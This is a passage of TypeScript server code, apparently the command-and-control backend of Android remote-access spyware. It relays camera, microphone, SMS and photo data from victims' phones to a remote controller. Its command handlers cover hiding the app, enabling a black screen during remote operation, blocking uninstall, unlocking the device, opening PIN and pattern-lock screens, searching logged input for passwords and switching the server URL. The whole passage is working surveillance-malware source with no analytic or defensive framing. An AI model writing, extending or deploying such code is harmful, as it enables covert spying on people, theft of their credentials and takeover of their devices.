同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) // 只有在数据库中也找不到时,才使用延迟重试 setTimeout(() => { this.retryRouteCameraData(fromSocketId, cameraData, 1) }, 500) return true // 返回true避免client端重试 } } // 确保device不为undefined if (!device) { return false } // 更新设备的lastSeen时间 device.lastSeen = new Date() this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) // 添加摄像头数据传输限流和错误处理 try { // 发送摄像头数据到控制客户端 const success = this.webClientManager.sendToClient(controllerId, 'camera_data', { deviceId: device.id, format: cameraData.format, data: cameraData.data, type: cameraData.type, timestamp: cameraData.timestamp }) if (!success) { this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`) return false } // 记录成功传输,用于监控 this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) return true } catch (emitError) { this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } } catch (error) { this.logger.error('路由摄像头数据失败:', error) return false } } /** * 重试路由摄像头数据 */ private retryRouteCameraData(fromSocketId: string, cameraData: CameraData, retryCount: number): void { const maxRetries = 3 try { // 再次尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device && retryCount <= maxRetries) { // 继续等待并重试 setTimeout(() => { this.retryRouteCameraData(fromSocketId, cameraData, retryCount + 1) }, 1000 * retryCount) // 递增延迟:1s, 2s, 3s return } if (!device) { // 最后尝试从数据库查询 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) // 使用数据库中的设备信息创建设备对象并注册到DeviceManager device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } // 将恢复的设备添加到DeviceManager中,避免重复查询 this.deviceManager.addDevice(device) // 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // 重试恢复成功后,立即通知Web端设备在线 this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) // 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) return } } // 设备找到后正常路由 if (device) { this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'camera_data', { deviceId: device.id, format: cameraData.format, data: cameraData.data, type: cameraData.type, timestamp: cameraData.timestamp }) if (success) { this.logger.debug(`📷 重试路由成功: ${device.name}`) } } } } catch (error) { this.logger.error('重试路由摄像头数据失败:', error) } } /** * 路由相册图片数据(不保存到磁盘,直接转发base64给客户端) */ routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean { try { // 校验设备来源 const device = this.databaseService.getDeviceBySocketId(fromSocketId) if (!device || device.deviceId !== image.deviceId) { this.logger.warn(`⚠️ 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`) return false } // 直接将base64数据转发给当前控制端 const controllerId = this.webClientManager.getDeviceController(image.deviceId) if (!controllerId) { this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`) return true } // 保留事件名与元数据结构以保证前端兼容,同时附加base64数据 this.webClientManager.sendToClient(controllerId, 'gallery_image_saved', { deviceId: image.deviceId, type: 'gallery_image_saved', index: image.index, id: image.id, displayName: image.displayName, dateAdded: image.dateAdded, mimeType: image.mimeType, width: image.width, height: image.height, size: image.size, contentUri: image.contentUri, timestamp: image.timestamp, // 直接携带原始base64数据(可能是 dataURL 或纯base64) data: image.data }) // 记录日志(不落盘) const approxSize = typeof image.data === 'string' ? image.data.length : 0 this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`) return true } catch (error) { this.logger.error('转发相册图片失败:', error) return false } } /** * 路由麦克风音频数据(从设备到Web客户端) */ routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean { try { this.routedMicrophoneAudio++ // 添加音频数据大小检查 const dataSize = typeof audioData.audioData === 'string' ? audioData.audioData.length : 0 this.totalMicrophoneAudioSize += dataSize if (dataSize > this.maxDataSize) { this.droppedMicrophoneAudio++ this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } // 检查设备是否有控制者 const controllerId = this.webClientManager.getDeviceController(audioData.deviceId) if (!controllerId) { this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`) return true } // 去重(防抖):100ms内相同设备的音频数据视为重复 const existingBuffer = this.microphoneAudioBuffer.get(audioData.deviceId) if (existingBuffer) { const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 100) { this.droppedMicrophoneAudio++ this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`) return false } } // 更新缓冲区 this.microphoneAudioBuffer.set(audioData.deviceId, { data: audioData, timestamp: Date.now() }) // 获取或恢复设备 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } this.deviceManager.addDevice(device) // 更新数据库中的设备记录 try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // 通知Web端设备在线 this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) this.webClientManager.broadcastToAll('device_connected', device) this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) // 同步设备状态到设备端 if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) setTimeout(() => { this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1) }, 500) return true } } if (!device) { return false } // 更新设备的lastSeen时间 device.lastSeen = new Date() this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) // 发送麦克风音频数据到控制客户端 try { const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', { deviceId: device.id, audioData: audioData.audioData, sampleRate: audioData.sampleRate, sampleCount: audioData.sampleCount, format: audioData.format, channels: audioData.channels, bitDepth: audioData.bitDepth, timestamp: audioData.timestamp }) if (!success) { this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`) return false } this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) return true } catch (emitError) { this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } } catch (error) { this.logger.error('路由麦克风音频数据失败:', error) return false } } /** * 重试路由麦克风音频数据 */ private retryRouteMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData, retryCount: number): void { const maxRetries = 3 try { let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device && retryCount <= maxRetries) { setTimeout(() => { this.retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount + 1) }, 1000 * retryCount) return } if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } this.deviceManager.addDevice(device) try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) this.webClientManager.broadcastToAll('device_connected', device) this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) return } } if (device) { this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', { deviceId: device.id, audioData: audioData.audioData, sampleRate: audioData.sampleRate, sampleCount: audioData.sampleCount, format: audioData.format, channels: audioData.channels, bitDepth: audioData.bitDepth, timestamp: audioData.timestamp }) if (success) { this.logger.debug(`🎤 重试路由成功: ${device.name}`) } } } } catch (error) { this.logger.error('重试路由麦克风音频数据失败:', error) } } /** * 路由短信数据(从设备到Web客户端) */ routeSmsData(fromSocketId: string, smsData: SmsData): boolean { try { this.routedSmsData++ // 估算数据大小(用于监控) try { const approxSize = JSON.stringify(smsData).length this.totalSmsDataSize += approxSize if (approxSize > this.maxDataSize) { this.droppedSmsData++ this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } } catch (_) { // 忽略JSON stringify异常 } // 检查设备控制者 const controllerId = this.webClientManager.getDeviceController(smsData.deviceId) if (!controllerId) { this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`) return true } // 去重(防抖):500ms内相同设备的批次视为重复 const existingBuffer = this.smsDataBuffer.get(smsData.deviceId) if (existingBuffer) { const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 500) { this.droppedSmsData++ this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`) return false } } // 更新缓冲区 this.smsDataBuffer.set(smsData.deviceId, { data: smsData, timestamp: Date.now() }) // 获取或恢复设备 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } this.deviceManager.addDevice(device) try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // 通知Web端设备在线 this.webClientManager.broadcastToAll('device_connected', device) this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`) setTimeout(() => { this.retryRouteSmsData(fromSocketId, smsData, 1) }, 500) return true } } if (!device) { return false } // 更新活跃时间 device.lastSeen = new Date() // 转发给控制客户端 try { const success = this.webClientManager.sendToClient(controllerId, 'sms_data', { deviceId: device.id, type: smsData.type, timestamp: smsData.timestamp, count: smsData.count, smsList: smsData.smsList }) if (!success) { this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`) return false } this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`) return true } catch (emitError) { this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } } catch (error) { this.logger.error('路由短信数据失败:', error) return false } } /** * 重试路由短信数据 */ private retryRouteSmsData(fromSocketId: string, smsData: SmsData, retryCount: number): void { const maxRetries = 3 try { let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device && retryCount <= maxRetries) { setTimeout(() => { this.retryRouteSmsData(fromSocketId, smsData, retryCount + 1) }, 1000 * retryCount) return } if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } this.deviceManager.addDevice(device) try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } this.webClientManager.broadcastToAll('device_connected', device) this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`) return } } if (device) { const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData) if (success) { this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`) } } } } catch (error) { this.logger.error('重试路由短信数据失败:', error) } } /** * 路由设备事件(从设备到Web客户端) */ routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean { try { this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`) let device = this.deviceManager.getDeviceBySocketId(fromSocketId) // 对于ui_hierarchy_response,即使找不到设备也要尝试处理 if (!device && eventType === 'ui_hierarchy_response') { this.logger.warn(`⚠️ 找不到设备但收到UI响应,尝试从数据库恢复设备信息`) // 尝试从响应数据中获取deviceId const deviceId = eventData?.deviceId if (deviceId) { this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`) // 直接处理UI层次结构响应 this.handleUIHierarchyResponse(deviceId, eventData) return true } else { this.logger.error(`❌ 响应数据中没有deviceId字段`) } } if (!device) { this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`) return false } // 🔧 修复:更新设备的lastSeen时间(设备事件是活动的标志) device.lastSeen = new Date() this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`) // 广播给所有Web客户端(状态更新等) this.webClientManager.broadcastToAll('device_event', { deviceId: device.id, eventType, data: eventData, timestamp: Date.now() }) this.logger.debug(`设备事件已广播: ${device.id} - ${eventType}`) // 处理特定的设备状态变化事件 switch (eventType) { case 'INPUT_BLOCKED_CHANGED': this.handleDeviceInputBlockedChanged(device.id, eventData.blocked) break case 'LOGGING_STATE_CHANGED': this.handleDeviceLoggingStateChanged(device.id, eventData.enabled) break case 'ui_hierarchy_response': this.handleUIHierarchyResponse(device.id, eventData) break case 'app_hide_status': this.handleAppHideStatusUpdate(device.id, eventData) break default: this.logger.debug(`设备事件已处理: ${eventType}`) break } return true } catch (error) { this.logger.error('路由设备事件失败:', error) return false } } /** * 路由客户端事件(从Web客户端到其他客户端或设备) */ routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean { try { this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`) const client = this.webClientManager.getClientBySocketId(fromSocketId) if (!client) { this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`) return false } this.logger.info(`✅ 找到客户端: ${client.id}`) switch (eventType) { case 'REQUEST_DEVICE_CONTROL': return this.handleDeviceControlRequest(client.id, eventData.deviceId) case 'RELEASE_DEVICE_CONTROL': return this.handleDeviceControlRelease(client.id, eventData.deviceId) case 'GET_DEVICE_LIST': return this.handleDeviceListRequest(client.id) case 'GET_OPERATION_LOGS': return this.handleGetOperationLogs(client.id, eventData) case 'CLEAR_OPERATION_LOGS': return this.handleClearOperationLogs(client.id, eventData.deviceId) case 'GET_DEVICE_PASSWORD': return this.handleGetDevicePassword(client.id, eventData.deviceId) case 'SAVE_DEVICE_PASSWORD': return this.handleSaveDevicePassword(client.id, eventData.deviceId, eventData.password) case 'UPDATE_DEVICE_STATE': return this.handleUpdateDeviceState(client.id, eventData.deviceId, eventData.state) case 'GET_DEVICE_STATE': return this.handleGetDeviceState(client.id, eventData.deviceId) case 'SEARCH_PASSWORDS_FROM_LOGS': return this.handleSearchPasswordsFromLogs(client.id, eventData.deviceId) case 'DELETE_DEVICE': return this.handleDeleteDevice(client.id, eventData.deviceId) case 'GET_UI_HIERARCHY': return this.handleGetUIHierarchy(client.id, eventData.deviceId, eventData) case 'START_EXTRACT_CONFIRM_COORDS': return this.handleStartExtractConfirmCoords(client.id, eventData.deviceId) case 'SAVE_CONFIRM_COORDS': return this.handleSaveConfirmCoords(client.id, eventData.deviceId, eventData.coords) case 'ENABLE_BLACK_SCREEN': return this.handleEnableBlackScreen(client.id, eventData.deviceId) case 'DISABLE_BLACK_SCREEN': return this.handleDisableBlackScreen(client.id, eventData.deviceId) case 'OPEN_APP_SETTINGS': return this.handleOpenAppSettings(client.id, eventData.deviceId) case 'HIDE_APP': return this.handleHideApp(client.id, eventData.deviceId) case 'SHOW_APP': return this.handleShowApp(client.id, eventData.deviceId) case 'REFRESH_MEDIA_PROJECTION_PERMISSION': return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId) case 'REFRESH_SCREEN': return this.handleRefreshScreen(client.id, eventData.deviceId) case 'REFRESH_MEDIA_PROJECTION_MANUAL': return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId) case 'CLOSE_CONFIG_MASK': return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual) case 'ENABLE_UNINSTALL_PROTECTION': return this.handleEnableUninstallProtection(client.id, eventData.deviceId) case 'DISABLE_UNINSTALL_PROTECTION': return this.handleDisableUninstallProtection(client.id, eventData.deviceId) case 'UNLOCK_DEVICE': return this.handleUnlockDevice(client.id, eventData.deviceId, eventData.data) case 'GALLERY_PERMISSION_CHECK': return this.handleGalleryPermissionCheck(client.id, eventData.deviceId) case 'ALBUM_READ': return this.handleAlbumRead(client.id, eventData.deviceId, eventData.data) case 'OPEN_PIN_INPUT': return this.handleOpenPinInput(client.id, eventData.deviceId) case 'OPEN_FOUR_DIGIT_PIN': return this.handleOpenFourDigitPin(client.id, eventData.deviceId) case 'OPEN_PATTERN_LOCK': return this.handleOpenPatternLock(client.id, eventData.deviceId) case 'CHANGE_SERVER_URL': return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data) default: this.logger.warn(`未知的客户端事件类型: ${eventType}`) return false } } catch (error) { this.logger.error('路由客户端事件失败:', error) return false } } /** * 处理设备控制请求 */ private handleDeviceControlRequest(clientId: string, deviceId: string): boolean { // ✅ 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId) if (!device) { this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: false, message: '设备不存在或已断开连接' }) return false } // ✅ 检查客户端是否已经在控制此设备(避免重复请求) if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`) this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: true, message: '已经在控制此设备' }) return true } const result = this.webClientManager.requestDeviceControl(clientId, deviceId) this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: result.success, message: result.message, currentController: result.currentController }) if (result.success) { // 通知设备有新的控制者 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId }) this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`) } } // 恢复设备状态(如果存在) this.restoreDeviceState(clientId, deviceId) } return true } /** * 处理设备控制释放 */ private handleDeviceControlRelease(clientId: string, deviceId: string): boolean { // ✅ 首先检查设备是否还在线 const device = this.deviceManager.getDevice(deviceId) if (!device) { this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`) // 即使设备已断开,也要清理控制权状态 this.webClientManager.releaseDeviceControl(deviceId) return false } if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.webClientManager.releaseDeviceControl(deviceId) // 通知设备控制者已离开 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId: null }) this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`) } else { this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) } } else { this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`) } } else { this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`) return false } return true } /** * 处理设备列表请求 */ private handleDeviceListRequest(clientId: string): boolean { try { // ✅ 使用和getAllDevicesIncludingHistory相同的逻辑 // 获取数据库中的所有历史设备 const allDbDevices = this.databaseService.getAllDevices() // 获取内存中的在线设备,用于补充Socket ID和状态 const onlineDevices = this.deviceManager.getAllDevices() const onlineDeviceMap = new Map() onlineDevices.forEach(device => { onlineDeviceMap.set(device.id, device) }) // 转换为前端格式并补充Socket ID const allDevices = allDbDevices.map(dbDevice => { const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId) return { id: dbDevice.deviceId, socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空 name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: dbDevice.capabilities, connectedAt: dbDevice.firstSeen, lastSeen: dbDevice.lastSeen, // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 status: onlineDevice ? 'online' : dbDevice.status, inputBlocked: onlineDevice?.inputBlocked || false } }) this.webClientManager.sendToClient(clientId, 'device_list', { devices: allDevices.map(device => ({ ...device, isControlled: !!this.webClientManager.getDeviceController(device.id), controller: this.webClientManager.getDeviceController(device.id) })) }) this.logger.info(`设备列表已发送: 在线=${onlineDevices.length}, 总计=${allDevices.length}`) return true } catch (error) { this.logger.error('处理设备列表请求失败:', error) this.webClientManager.sendToClient(clientId, 'device_list', { devices: [] }) return false } } /** * 处理操作日志(从设备接收) */ handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean { try { // 验证消息来源是设备 const device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { this.logger.warn(`未知设备尝试发送操作日志: ${fromSocketId}`) return false } // 验证设备ID匹配 if (device.id !== logMessage.deviceId) { this.logger.warn(`设备ID不匹配: socket=${fromSocketId}, device=${device.id}, message=${logMessage.deviceId}`) return false } // 🔧 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志) device.lastSeen = new Date() this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`) // 🆕 检查是否为应用隐藏事件(通过操作日志传输) if (logMessage.extraData && (logMessage.extraData as any).isAppHideEvent) { this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`) try { const deviceEventData = (logMessage.extraData as any).eventData if (deviceEventData && (logMessage.extraData as any).eventType === 'app_hide_status') { // 处理应用隐藏状态更新 this.handleAppHideStatusUpdate(device.id, deviceEventData) } } catch (e) { this.logger.error('处理应用隐藏事件失败:', e) } } // 保存到数据库 this.databaseService.saveOperationLog({ deviceId: logMessage.deviceId, logType: logMessage.logType, content: logMessage.content, extraData: logMessage.extraData, timestamp: new Date(logMessage.timestamp) }) this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`) // 实时广播给正在控制该设备的Web客户端 const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { this.webClientManager.sendToClient(controllerId, 'operation_log_realtime', { deviceId: device.id, log: { logType: logMessage.logType, content: logMessage.content, extraData: logMessage.extraData, timestamp: new Date(logMessage.timestamp) } }) } return true } catch (error) { this.logger.error('处理操作日志失败:', error) return false } } /** * 处理获取操作日志请求 */ private handleGetOperationLogs(clientId: string, requestData: any): boolean { try { const { deviceId, page = 1, pageSize = 50, logType } = requestData // 检查客户端是否有权限查看该设备日志 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权查看设备 ${deviceId} 的日志`) this.webClientManager.sendToClient(clientId, 'operation_logs_response', { success: false, message: '无权查看该设备日志' }) return false } // 从数据库获取日志 const result = this.databaseService.getOperationLogs(deviceId, page, pageSize, logType) // 发送给客户端 this.webClientManager.sendToClient(clientId, 'operation_logs_response', { success: true, data: result }) this.logger.debug(`操作日志已发送: ${deviceId}, page=${page}, total=${result.total}`) return true } catch (error) { this.logger.error('处理获取操作日志请求失败:', error) this.webClientManager.sendToClient(clientId, 'operation_logs_response', { success: false, message: '获取日志失败' }) return false } } /** * 处理清空操作日志请求 */ private handleClearOperationLogs(clientId: string, deviceId: string): boolean { try { // 检查客户端是否有权限清空该设备日志 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权清空设备 ${deviceId} 的日志`) this.webClientManager.sendToClient(clientId, 'clear_logs_response', { success: false, message: '无权清空该设备日志' }) return false } // 清空数据库中的日志 this.databaseService.clearOperationLogs(deviceId) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'clear_logs_response', { success: true, message: '日志已清空' }) this.logger.info(`设备 ${deviceId} 的操作日志已被客户端 ${clientId} 清空`) return true } catch (error) { this.logger.error('处理清空操作日志请求失败:', error) this.webClientManager.sendToClient(clientId, 'clear_logs_response', { success: false, 